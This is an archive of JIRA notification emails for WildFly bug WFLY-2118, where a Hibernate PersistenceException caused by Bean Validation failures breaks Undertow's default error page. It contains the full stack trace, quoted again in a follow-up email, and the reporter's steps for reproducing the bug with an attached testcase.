             Summary: PersistenceException breaks default error page
                 Key: WFLY-2118
                 URL: https://issues.jboss.org/browse/WFLY-2118
             Project: WildFly
          Issue Type: Bug
          Components: Web (Undertow)
            Reporter: Juergen Zimmermann
            Assignee: Stuart Douglas


I'm using the latest WildFly snapshot with Undertow 1.0.0.Beta13. When I get a PersistenceException caused by Hibernate due to an invalid entity (according to Bean Validation), then the webbrowser doesn't get the default error page. The stacktrace is shown below. I'll attach a testcase.

{code}
[com.arjuna.ats.arjuna] ARJUNA012125: TwoPhaseCoordinator.beforeCompletion - failed for SynchronizationImple< 0:ffffc0a8b801:4240ead4:523ac52c:15, org.hibernate.engine.transaction.synchronization.internal.RegisteredSynchronization at 20cf7473 >: javax.persistence.PersistenceException: error during managed flush
	at org.hibernate.jpa.spi.AbstractEntityManagerImpl$CallbackExceptionMapperImpl.mapManagedFlushFailure(AbstractEntityManagerImpl.java:1785) [hibernate-entitymanager-4.3.0.Beta4.jar:4.3.0.Beta4]
	at org.hibernate.engine.transaction.synchronization.internal.SynchronizationCallbackCoordinatorImpl.beforeCompletion(SynchronizationCallbackCoordinatorImpl.java:118) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
	at org.hibernate.engine.transaction.synchronization.internal.RegisteredSynchronization.beforeCompletion(RegisteredSynchronization.java:53) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
	at com.arjuna.ats.internal.jta.resources.arjunacore.SynchronizationImple.beforeCompletion(SynchronizationImple.java:76) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
	at com.arjuna.ats.arjuna.coordinator.TwoPhaseCoordinator.beforeCompletion(TwoPhaseCoordinator.java:273) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
	at com.arjuna.ats.arjuna.coordinator.TwoPhaseCoordinator.end(TwoPhaseCoordinator.java:93) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
	at com.arjuna.ats.arjuna.AtomicAction.commit(AtomicAction.java:162) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
	at com.arjuna.ats.internal.jta.transaction.arjunacore.TransactionImple.commitAndDisassociate(TransactionImple.java:1170) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
	at com.arjuna.ats.internal.jta.transaction.arjunacore.BaseTransaction.commit(BaseTransaction.java:126) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
	at com.arjuna.ats.jbossatx.BaseTransactionManagerDelegate.commit(BaseTransactionManagerDelegate.java:75)
	at com.arjuna.ats.jta.cdi.transactional.TransactionalInterceptorBase.endTransaction(TransactionalInterceptorBase.java:131) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
	at com.arjuna.ats.jta.cdi.transactional.TransactionalInterceptorBase.invokeInOurTx(TransactionalInterceptorBase.java:77) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
	at com.arjuna.ats.jta.cdi.transactional.TransactionalInterceptorRequired.intercept(TransactionalInterceptorRequired.java:52) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_40]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_40]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_40]
	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_40]
	at org.jboss.weld.interceptor.proxy.SimpleMethodInvocation.invoke(SimpleMethodInvocation.java:30) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNext(AbstractInterceptionChain.java:90) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNextInterceptor(AbstractInterceptionChain.java:75) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
	at org.jboss.weld.interceptor.proxy.InterceptorMethodHandler.executeInterception(InterceptorMethodHandler.java:48) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
	at org.jboss.weld.interceptor.proxy.InterceptorMethodHandler.invoke(InterceptorMethodHandler.java:41) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
	at org.jboss.weld.bean.proxy.CombinedInterceptorAndDecoratorStackMethodHandler.invoke(CombinedInterceptorAndDecoratorStackMethodHandler.java:53) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
	at testcase.web.CustomerModel$Proxy$_$$_WeldSubclass.create(Unknown Source) [classes:]
	at testcase.web.CustomerModel$Proxy$_$$_WeldClientProxy.create(Unknown Source) [classes:]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_40]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_40]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_40]
	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_40]
	at javax.el.ELUtil.invokeMethod(ELUtil.java:326) [javax.el-3.0-b07.jar:3.0-b07]
	at javax.el.BeanELResolver.invoke(BeanELResolver.java:536) [javax.el-3.0-b07.jar:3.0-b07]
	at javax.el.CompositeELResolver.invoke(CompositeELResolver.java:256) [javax.el-3.0-b07.jar:3.0-b07]
	at com.sun.el.parser.AstValue.invoke(AstValue.java:269) [javax.el-3.0-b07.jar:3.0-b07]
	at com.sun.el.MethodExpressionImpl.invoke(MethodExpressionImpl.java:304) [javax.el-3.0-b07.jar:3.0-b07]
	at org.jboss.weld.util.el.ForwardingMethodExpression.invoke(ForwardingMethodExpression.java:40) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
	at org.jboss.weld.el.WeldMethodExpression.invoke(WeldMethodExpression.java:50) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
	at org.jboss.weld.util.el.ForwardingMethodExpression.invoke(ForwardingMethodExpression.java:40) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
	at org.jboss.weld.el.WeldMethodExpression.invoke(WeldMethodExpression.java:50) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
	at com.sun.faces.facelets.el.TagMethodExpression.invoke(TagMethodExpression.java:105) [jsf-impl-2.1.26.jar:2.1.26]
	at javax.faces.component.MethodBindingMethodExpressionAdapter.invoke(MethodBindingMethodExpressionAdapter.java:87) [jsf-api-2.1.26.jar:2.1]
	at com.sun.faces.application.ActionListenerImpl.processAction(ActionListenerImpl.java:101) [jsf-impl-2.1.26.jar:2.1.26]
	at javax.faces.component.UICommand.broadcast(UICommand.java:315) [jsf-api-2.1.26.jar:2.1]
	at javax.faces.component.UIViewRoot.broadcastEvents(UIViewRoot.java:786) [jsf-api-2.1.26.jar:2.1]
	at javax.faces.component.UIViewRoot.processApplication(UIViewRoot.java:1251) [jsf-api-2.1.26.jar:2.1]
	at com.sun.faces.lifecycle.InvokeApplicationPhase.execute(InvokeApplicationPhase.java:81) [jsf-impl-2.1.26.jar:2.1.26]
	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.1.26.jar:2.1.26]
	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:118) [jsf-impl-2.1.26.jar:2.1.26]
	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:593) [jsf-api-2.1.26.jar:2.1]
	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:59) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:81)
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:58) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:209) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:196) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:69) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:130) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
Caused by: javax.validation.ConstraintViolationException: Validation failed for classes [testcase.domain.Customer] during persist time for groups [javax.validation.groups.Default, ]
List of constraint violations:[
	ConstraintViolationImpl{interpolatedMessage='Min length = 2, max length = 32', propertyPath=name, rootBeanClass=class testcase.domain.Customer, messageTemplate='Min length = {min}, max length = {max}'}
	ConstraintViolationImpl{interpolatedMessage='Zip code is 5 digits', propertyPath=zip, rootBeanClass=class testcase.domain.Customer, messageTemplate='Zip code is 5 digits'}
	ConstraintViolationImpl{interpolatedMessage='A name must have one capital letter, followed by small letters', propertyPath=name, rootBeanClass=class testcase.domain.Customer, messageTemplate='A name must have one capital letter, followed by small letters'}
]
	at org.hibernate.cfg.beanvalidation.BeanValidationEventListener.validate(BeanValidationEventListener.java:159) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
	at org.hibernate.cfg.beanvalidation.BeanValidationEventListener.onPreInsert(BeanValidationEventListener.java:94) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
	at org.hibernate.action.internal.EntityInsertAction.preInsert(EntityInsertAction.java:196) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
	at org.hibernate.action.internal.EntityInsertAction.execute(EntityInsertAction.java:96) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
	at org.hibernate.engine.spi.ActionQueue.execute(ActionQueue.java:377) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
	at org.hibernate.engine.spi.ActionQueue.executeActions(ActionQueue.java:369) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
	at org.hibernate.engine.spi.ActionQueue.executeActions(ActionQueue.java:286) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
	at org.hibernate.event.internal.AbstractFlushingEventListener.performExecutions(AbstractFlushingEventListener.java:340) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
	at org.hibernate.event.internal.DefaultFlushEventListener.onFlush(DefaultFlushEventListener.java:52) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
	at org.hibernate.internal.SessionImpl.flush(SessionImpl.java:1235) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
	at org.hibernate.internal.SessionImpl.managedFlush(SessionImpl.java:405) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
	at org.hibernate.engine.transaction.synchronization.internal.SynchronizationCallbackCoordinatorImpl.beforeCompletion(SynchronizationCallbackCoordinatorImpl.java:113) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
	... 68 more
{code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 08:31:03 2013
From: jira-events at lists.jboss.org (Juergen Zimmermann (JIRA))
Date: Fri, 20 Sep 2013 08:31:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2118) PersistenceException breaks
 default error page
In-Reply-To: <JIRA.12501118.1379679983000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501118.1379679983000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501118.1379679983000.37324.1379680263718@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2118?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Juergen Zimmermann updated WFLY-2118:
-------------------------------------

    Attachment: testcase-WFLY-2118.zip


Instructions for the testcase:
1) Unzip mojarra-2.1.zip in $JBOSS_HOME/modules because RichFaces requires JSF 2.1
2) Unzip testcase.zip
3) mvn package jboss-as:deploy
4) In a webbrowser submit http://localhost:8080/testcase
   Submit an invalid name and zip code, e.g. 1 and 1
5) Look into the WildFly console
                
> PersistenceException breaks default error page
> ----------------------------------------------
>
>                 Key: WFLY-2118
>                 URL: https://issues.jboss.org/browse/WFLY-2118
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>            Reporter: Juergen Zimmermann
>            Assignee: Stuart Douglas
>         Attachments: testcase-WFLY-2118.zip
>
>
> I'm using the latest WildFly snapshot with Undertow 1.0.0.Beta13. When I get a PersistenceException caused by Hibernate due to an invalid entity (according to Bean Validation), then the webbrowser doesn't get the default error page. The stacktrace is shown below. I'll attach a testcase.
> {code}
> [com.arjuna.ats.arjuna] ARJUNA012125: TwoPhaseCoordinator.beforeCompletion - failed for SynchronizationImple< 0:ffffc0a8b801:4240ead4:523ac52c:15, org.hibernate.engine.transaction.synchronization.internal.RegisteredSynchronization at 20cf7473 >: javax.persistence.PersistenceException: error during managed flush
> 	at org.hibernate.jpa.spi.AbstractEntityManagerImpl$CallbackExceptionMapperImpl.mapManagedFlushFailure(AbstractEntityManagerImpl.java:1785) [hibernate-entitymanager-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.transaction.synchronization.internal.SynchronizationCallbackCoordinatorImpl.beforeCompletion(SynchronizationCallbackCoordinatorImpl.java:118) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.transaction.synchronization.internal.RegisteredSynchronization.beforeCompletion(RegisteredSynchronization.java:53) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at com.arjuna.ats.internal.jta.resources.arjunacore.SynchronizationImple.beforeCompletion(SynchronizationImple.java:76) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.arjuna.coordinator.TwoPhaseCoordinator.beforeCompletion(TwoPhaseCoordinator.java:273) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.arjuna.coordinator.TwoPhaseCoordinator.end(TwoPhaseCoordinator.java:93) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.arjuna.AtomicAction.commit(AtomicAction.java:162) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.internal.jta.transaction.arjunacore.TransactionImple.commitAndDisassociate(TransactionImple.java:1170) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.internal.jta.transaction.arjunacore.BaseTransaction.commit(BaseTransaction.java:126) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.jbossatx.BaseTransactionManagerDelegate.commit(BaseTransactionManagerDelegate.java:75)
> 	at com.arjuna.ats.jta.cdi.transactional.TransactionalInterceptorBase.endTransaction(TransactionalInterceptorBase.java:131) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.jta.cdi.transactional.TransactionalInterceptorBase.invokeInOurTx(TransactionalInterceptorBase.java:77) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.jta.cdi.transactional.TransactionalInterceptorRequired.intercept(TransactionalInterceptorRequired.java:52) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_40]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_40]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_40]
> 	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_40]
> 	at org.jboss.weld.interceptor.proxy.SimpleMethodInvocation.invoke(SimpleMethodInvocation.java:30) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNext(AbstractInterceptionChain.java:90) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNextInterceptor(AbstractInterceptionChain.java:75) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.interceptor.proxy.InterceptorMethodHandler.executeInterception(InterceptorMethodHandler.java:48) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.interceptor.proxy.InterceptorMethodHandler.invoke(InterceptorMethodHandler.java:41) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.bean.proxy.CombinedInterceptorAndDecoratorStackMethodHandler.invoke(CombinedInterceptorAndDecoratorStackMethodHandler.java:53) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at testcase.web.CustomerModel$Proxy$_$$_WeldSubclass.create(Unknown Source) [classes:]
> 	at testcase.web.CustomerModel$Proxy$_$$_WeldClientProxy.create(Unknown Source) [classes:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_40]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_40]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_40]
> 	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_40]
> 	at javax.el.ELUtil.invokeMethod(ELUtil.java:326) [javax.el-3.0-b07.jar:3.0-b07]
> 	at javax.el.BeanELResolver.invoke(BeanELResolver.java:536) [javax.el-3.0-b07.jar:3.0-b07]
> 	at javax.el.CompositeELResolver.invoke(CompositeELResolver.java:256) [javax.el-3.0-b07.jar:3.0-b07]
> 	at com.sun.el.parser.AstValue.invoke(AstValue.java:269) [javax.el-3.0-b07.jar:3.0-b07]
> 	at com.sun.el.MethodExpressionImpl.invoke(MethodExpressionImpl.java:304) [javax.el-3.0-b07.jar:3.0-b07]
> 	at org.jboss.weld.util.el.ForwardingMethodExpression.invoke(ForwardingMethodExpression.java:40) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.el.WeldMethodExpression.invoke(WeldMethodExpression.java:50) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.util.el.ForwardingMethodExpression.invoke(ForwardingMethodExpression.java:40) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.el.WeldMethodExpression.invoke(WeldMethodExpression.java:50) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at com.sun.faces.facelets.el.TagMethodExpression.invoke(TagMethodExpression.java:105) [jsf-impl-2.1.26.jar:2.1.26]
> 	at javax.faces.component.MethodBindingMethodExpressionAdapter.invoke(MethodBindingMethodExpressionAdapter.java:87) [jsf-api-2.1.26.jar:2.1]
> 	at com.sun.faces.application.ActionListenerImpl.processAction(ActionListenerImpl.java:101) [jsf-impl-2.1.26.jar:2.1.26]
> 	at javax.faces.component.UICommand.broadcast(UICommand.java:315) [jsf-api-2.1.26.jar:2.1]
> 	at javax.faces.component.UIViewRoot.broadcastEvents(UIViewRoot.java:786) [jsf-api-2.1.26.jar:2.1]
> 	at javax.faces.component.UIViewRoot.processApplication(UIViewRoot.java:1251) [jsf-api-2.1.26.jar:2.1]
> 	at com.sun.faces.lifecycle.InvokeApplicationPhase.execute(InvokeApplicationPhase.java:81) [jsf-impl-2.1.26.jar:2.1.26]
> 	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.1.26.jar:2.1.26]
> 	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:118) [jsf-impl-2.1.26.jar:2.1.26]
> 	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:593) [jsf-api-2.1.26.jar:2.1]
> 	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:59) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:81)
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:58) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:209) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:196) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:69) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:130) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: javax.validation.ConstraintViolationException: Validation failed for classes [testcase.domain.Customer] during persist time for groups [javax.validation.groups.Default, ]
> List of constraint violations:[
> 	ConstraintViolationImpl{interpolatedMessage='Min length = 2, max length = 32', propertyPath=name, rootBeanClass=class testcase.domain.Customer, messageTemplate='Min length = {min}, max length = {max}'}
> 	ConstraintViolationImpl{interpolatedMessage='Zip code is 5 digits', propertyPath=zip, rootBeanClass=class testcase.domain.Customer, messageTemplate='Zip code is 5 digits'}
> 	ConstraintViolationImpl{interpolatedMessage='A name must have one capital letter, followed by small letters', propertyPath=name, rootBeanClass=class testcase.domain.Customer, messageTemplate='A name must have one capital letter, followed by small letters'}
> ]
> 	at org.hibernate.cfg.beanvalidation.BeanValidationEventListener.validate(BeanValidationEventListener.java:159) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.cfg.beanvalidation.BeanValidationEventListener.onPreInsert(BeanValidationEventListener.java:94) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.action.internal.EntityInsertAction.preInsert(EntityInsertAction.java:196) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.action.internal.EntityInsertAction.execute(EntityInsertAction.java:96) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.spi.ActionQueue.execute(ActionQueue.java:377) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.spi.ActionQueue.executeActions(ActionQueue.java:369) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.spi.ActionQueue.executeActions(ActionQueue.java:286) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.event.internal.AbstractFlushingEventListener.performExecutions(AbstractFlushingEventListener.java:340) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.event.internal.DefaultFlushEventListener.onFlush(DefaultFlushEventListener.java:52) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.internal.SessionImpl.flush(SessionImpl.java:1235) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.internal.SessionImpl.managedFlush(SessionImpl.java:405) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.transaction.synchronization.internal.SynchronizationCallbackCoordinatorImpl.beforeCompletion(SynchronizationCallbackCoordinatorImpl.java:113) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	... 68 more
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 08:33:03 2013
From: jira-events at lists.jboss.org (Juergen Zimmermann (JIRA))
Date: Fri, 20 Sep 2013 08:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2118) PersistenceException breaks
 default error page
